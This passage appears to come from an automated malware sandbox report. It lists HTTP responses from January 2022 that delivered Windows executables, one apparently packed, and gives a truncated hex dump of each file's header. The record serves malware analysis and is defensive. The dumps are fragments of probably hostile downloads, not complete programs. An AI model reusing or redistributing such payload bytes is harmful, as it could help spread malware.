fc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 c9 3b 00 00 30 0c 00 00 5a 00 00 00 fe 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 74 42 00 00 00 00 48 00 00 44 00 00 00 58 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Tue, 04 Jan 2022 18:33:50 GMTContent-Type: application/octet-streamContent-Length: 1531904Last-Modified: Tue, 04 Jan 2022 16:33:34 GMTConnection: keep-aliveETag: "61d476de-176000"Expires: Tue, 11 Jan 2022 18:33:50 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3e 18 8c 24 7a 79 e2 77 7a 79 e2 77 7a 79 e2 77 6e 12 e1 76 77 79 e2 77 6e 12 e7 76 dc 79 e2 77 6e 12 e6 76 6c 79 e2 77 28 0c e6 76 6b 79 e2 77 28 0c e1 76 6e 79 e2 77 28 0c e7 76 30 79 e2 77 6e 12 e3 76 7f 79 e2 77 7a 79 e3 77 24 79 e2 77 c0 0c e7 76 7b 79 e2 77 c0 0c 1d 77 7b 79 e2 77 c0 0c e0 76 7b 79 e2 77 52 69 63 68 7a 79 e2 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 1a 0b d3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 24 02 00 00 c8 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 32 00 00 04 00 00 09 e8 2b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c dc 2d 00 e0 00 00 00 00 50 03 00 1d a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 20 02 00 00 10 00 00 00 1a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 30 02 00 00 08 00 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 f0 00 00 00 40 02 00 00 62 00 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 30 03 00 00 04 00 00 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 50 03 00 00 a4 01 00 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 00 05 00 00 16 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 20 05 00 00 02 00 00 00 46 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 a0 28 00 00 30 05 00 00 72 0f 00 00 48 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 37 77 30 44 50 41 31 00 b0 04 00 00 d0 2d 00 00 a6 04 00 00 ba 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 80 32 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 04 Jan 2022 18:33:52 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Wed, 29 Dec 2021 18:27:40 GMTETag: "9d9d8-5d44d17c6d03f"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:57 GMTContent-Type: application/x-msdos-programContent-Length: 652928Connection: closeLast-Modified: Tue, 04 Jan 2022 03:19:27 GMTETag: "9f680-5d4b91ad73cba"Accept-Ranges: bytesData Raw: 4d 5a 83 45 40 bf 97 ea c8 09 a0 7d ae 02 4a 24 d8 d9 e4 e3 cb 4d 61 da 45 b7 64 22 ab 6a 08 10 6d 8a 34 02 3b 25 dd 58 18 f0 de ee 92 1c e5 1f ec f6 60 81 4a a3 8d 01 6b f4 53 98 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d5 e7 d0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 02 1e 00 44 04 00 00 92 02 00 00 02 00 00 00 60 07 00 00 10 00 00 00 60 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 10 00 00 04 00 00 fa 06 0a 00 02 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 06 00 4c 01 00 00 00 20 06 00 94 31 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00 00 10 06 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 94 31 01 00 00 20 06 00 94 31 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 d0 08 00 00 60 07 00 79 be 08 00 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:33:59 GMTContent-Type: application/x-msdos-programContent-Length: 334288Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "519d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:33:59 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:33:59 GMTContent-Type: application/x-msdos-programContent-Length: 334288Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "519d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:33:59 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:02 GMTContent-Type: application/x-msdos-programContent-Length: 137168Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "217d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:02 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:03 GMTContent-Type: application/x-msdos-programContent-Length: 440120Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "6b738-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:03 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 